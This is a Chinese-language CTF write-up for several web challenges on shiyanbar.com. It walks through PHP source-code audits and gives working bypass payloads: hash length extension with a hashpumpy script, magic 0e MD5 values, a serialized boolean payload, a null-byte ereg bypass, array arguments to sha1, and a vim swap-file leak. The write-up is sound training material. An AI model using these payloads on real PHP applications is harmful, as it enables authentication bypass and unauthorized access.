1009.CTF 題目之 WEB Writeup 通關大全 – 3
Web題目系列3
讓我進去
題目鏈接
http://shiyanbar.com/ctf/1848
題目描述
相信你一定能拿到想要的
Hint:你可能希望知道服務器端發生了什麽。。
格式:CTF{}
解題思路
用burpsuite抓包後,發現cookie裏有一個字段source=0
,修改為1後獲取源碼。
源碼內容
<html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security! $username = $_POST["username"]; $password = $_POST["password"]; if (!empty($_COOKIE["getmein"])) { if (urldecode($username) === "admin" && urldecode($password) != "admin") { if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) { echo "Congratulations! You are a registered user.\n"; die ("The flag is ". $flag); } else { die ("Your cookies don‘t match up! STOP HACKING THIS SITE."); } } else { die ("You are not an admin! LEAVE."); } } setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7)); if (empty($_COOKIE["source"])) { setcookie("source", 0, time() + (60 * 60 * 24 * 7)); } else { if ($_COOKIE["source"] != 0) { echo ""; // This source code is outputted here } } </pre> <h1>Admins Only!</h1> <p>If you have the correct credentials, log in below. If not, please LEAVE.</p> <form method="POST"> Username: <input type="text" name="username"> <br> Password: <input type="password" name="password"> <br> <button type="submit">Submit</button> </form> </body> </html>
從源碼分析,可以看到flag的獲取要求是:傳進一個cookie getmein
,使其等於 secret+urldecode(username . password)
MD5 加密後的結果且要求username為admin,password不能為admin。所以這裏利用了hash長度擴展攻擊,具體原理請參考文章0、文章1、文章2、文章3,推薦查看文章0和3。
這裏我給出一個最簡單的方式,使用工具hashpumpy
進行hash值進行構造,給出代碼
#!/usr/bin/env python
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-10
@description : 哈希長度攻擊
@Update date :
"""
import hashpumpy
# def hashpump(hexdigest, original_data, data_to_add, key_length)
aaa = hashpumpy.hashpump("571580b26c65f306376d4f64e53cb5c7","admin","darkN0te",20)
print aaa
拐彎抹角
題目鏈接
http://shiyanbar.com/ctf/1846
題目描述
如何欺騙服務器,才能拿到Flag?
格式:CTF{}
解題思路
訪問鏈接http://ctf5.shiyanbar.com/indirection/index.php/index.php
題目的意思就是通過改變地址欄訪問index.php,但是限制了條件不能使用
./ ../ \\
而且只能使用小寫字母,不可以在php後加點,這裏我們可以利用偽靜態技術,使用index.php後的index.php會被當做參數處理,所以服務器只會解析第一個index.php,滿足條件成功繞過。Flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}
Forms
題目鏈接
http://shiyanbar.com/ctf/1819
題目描述
似乎有人覺得PIN碼是不可破解的,讓我們證明他是錯的。
格式:ctf{}
解題思路
進入題目後,點擊提交,使用bp拿到包後,發現有一個showsource
字段,修改為1然後看到源碼,直接把-19827747736161128312837161661727773716166727272616149001823847
填入pin提交拿到Flag。
<html>
<head>
<title>Forms</title>
</head>
<body>
<pre>
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}
</pre>User with provided PIN not found.
<form action="" method="post">
PIN:<br>
<input type="password" name="PIN" value="">
<input type="hidden" name="showsource" value=0>
<button type="submit">Enter</button>
</form>
</body>
</html>
天網管理系統
題目鏈接
http://shiyanbar.com/ctf/1810
題目描述
天網你敢來挑戰嘛
格式:ctf{ }
解題思路
進入題目後,打開網頁源碼,網頁中有提示<!-- test=_GET[‘username‘]; test=md5(test); if($test==‘0‘) -->
,很明顯可以看到是一個Hash比較問題,具體內容請查看文章 PHP Hash比較缺陷,這裏我們只需要找到以0e
開頭的md5,這樣和0
比較就是相等的。下面一個以0e
開頭的md5列表
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
使用s878926199a
提交後給出了新的提示。
打開鏈接看到內容
$unserialize_str = $_POST[‘password‘];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize[‘user‘] == ‘???‘ && $data_unserialize[‘pass‘]==‘???‘)
{
print_r($flag);
}
偉大的科學家php方言道:成也布爾,敗也布爾。
回去吧騷年
這段語句首先對password字段進行了反序列化,然後讓裏面的user等於???
,同時pass也等於???
。
但是我們不知道兩處???
到底是什麽,因此無法考慮用php函數構造這樣的值。別忘了還有一個提示: "偉大的科學家php方言道:成也布爾,敗也布爾" ,bool類型的true跟任意字符串可以弱類型相等。因此我們可以構造bool類型的序列化數據 ,無論比較的值是什麽,結果都為true。(a代表array,s代表string,b代表bool,而數字代表個數/長度)
構造password值為: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
在密碼欄中提交構造的值,即可獲取flag: ctf{dwduwkhduw5465}
忘記密碼了
題目鏈接
http://shiyanbar.com/ctf/1808
題目描述
找回密碼
格式:SimCTF{ }
解題思路
此題目有點腦洞,首先在step1.php頁面提交郵箱,會給出step2.php頁面,然後訪問step2.php會馬上返回step1.php。所以抓包看一下step2.php的內容。
<br />
<meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="renderer" content="webkit" />
<meta name="admin" content="[email protected]" />
<meta name="editor" content="Vim" />
<title>logic</title>
</style>
</head>
<body>
<form action="submit.php" method="GET">
<h1>找回密碼step2</h1>
email:<input name="emailAddress" type="text" value="youmom" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="提交">
</form>
</body>
</html>
找到了step2.php會將內容提交到submit.php。訪問submit.php文件。給出提示
在step2.php的代碼中剛好能找到``,構造包訪問submit.php
還是不可以。這裏就是個坑,需要訪問submit.php的緩存文件.submit.php.swp
,這個文件是使用vim編輯時會留下的一個文件,訪問後得到submit.php源碼。
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die(‘fail‘);
if($token!=‘0‘) die(‘fail‘);
$sql = "SELECT count(*) as num from `user` where token=‘$token‘ AND email=‘$emailAddress‘";
$r = mysql_query($sql) or die(‘db error‘);
$r = mysql_fetch_assoc($r);
$r = $r[‘num‘];
if($r>0){
echo $flag;
}else{
echo "失敗了呀";
}
}
這段源碼就給出了如何拿到flag,有兩個條件:
1. token
,長度必須等於10。
2. token
要和0
相等,這裏又用到了php弱類型比較,只要用0000000000
就可以繞過這兩條限制。
得到payload : http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0000000000
。
flag is SimCTF{huachuan_TdsWX}
Once More
題目鏈接
http://shiyanbar.com/ctf/1805
題目描述
啊拉?又是php審計。已經想吐了。
hint:ereg()函數有漏洞哩;從小老師就說要用科學的方法來算數。
格式:CTF{
解題思路
點擊題目頁面View the source code
,看到源碼。
<?php
if (isset ($_GET[‘password‘])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
{
echo ‘<p>You password must be alphanumeric</p>‘;
}
else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
{
if (strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE)
{
die(‘Flag: ‘ . $flag);
}
else
{
echo(‘<p>*-* have not been found</p>‘);
}
}
else
{
echo ‘<p>Invalid password</p>‘;
}
}
?>
本題目一共有三個條件限制,看如何繞過。
1. ereg ("^[a-zA-Z0-9]+", _GET[‘password‘]) === FALSE
===類型恒等於
== 和 != 比較若類型不同,先償試轉換類型,再作值比較,最後返回值比較結果 。
而
=== 和 !== 只有在相同類型下,才會比較其值。
ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false
這個判斷限制了輸入只能為只能輸入字符和數字,但是該函數存在00
截斷漏洞。
- strlen($_GET[‘password‘]) 9999999,限制字符串長度小於8,值大於9999999。
- strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE,限制輸入的值必須包含
*-*
。
所以給出paylload,1e8%00*-*
,1e9%00*-*
。
Flag: CTF{Ch3ck_anD_Ch3ck}
Guess Next Session
題目鏈接
http://shiyanbar.com/ctf/1788
題目描述
寫個算法沒準就算出來了,23333
hint:你確定你有認真看判斷條件?
格式:CTF{}
解題思路
點擊題目頁面View the source code
,看到源碼。
<?php
session_start();
if (isset ($_GET[‘password‘])) {
if ($_GET[‘password‘] == $_SESSION[‘password‘])
die (‘Flag: ‘.$flag);
else
print ‘<p>Wrong guess.</p>‘;
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
看一下按條件語句,需要session中的password值和用戶傳的一樣,就可以打印flag,所以只需要刪掉session值,或者修改session值為一個不存在的session,服務器獲取不到session,則password為空,用戶傳一個空的password的進去即可拿到flag。
Flag: CTF{Cl3ar_th3_S3ss1on}
FALSE
題目鏈接
http://shiyanbar.com/ctf/1787
題目描述
PHP代碼審計
hint:sha1函數你有認真了解過嗎?聽說也有人用md5碰撞o(╯□╰)o
格式:CTF{}
解題思路
點擊題目頁面View the source code
,看到源碼。
<?php
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) {
if ($_GET[‘name‘] == $_GET[‘password‘])
echo ‘<p>Your password can not be your name!</p>‘;
else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
die(‘Flag: ‘.$flag);
else
echo ‘<p>Invalid password.</p>‘;
}
else{
echo ‘<p>Login first!</p>‘;
?>
本題目給出了兩個條件
1. 用戶名密碼不能相等
2. 用戶名密碼的sha1()要===
===
只有在相同類型下,才會比較其值。sha1()函數默認的傳入參數類型是字符串型,可以傳入其他類型,使其返回值為false。如數組類型。
所以給出payload為,name[]=a&password[]=b
。
Flag: CTF{t3st_th3_Sha1}
1009.CTF 題目之 WEB Writeup 通關大全 – 3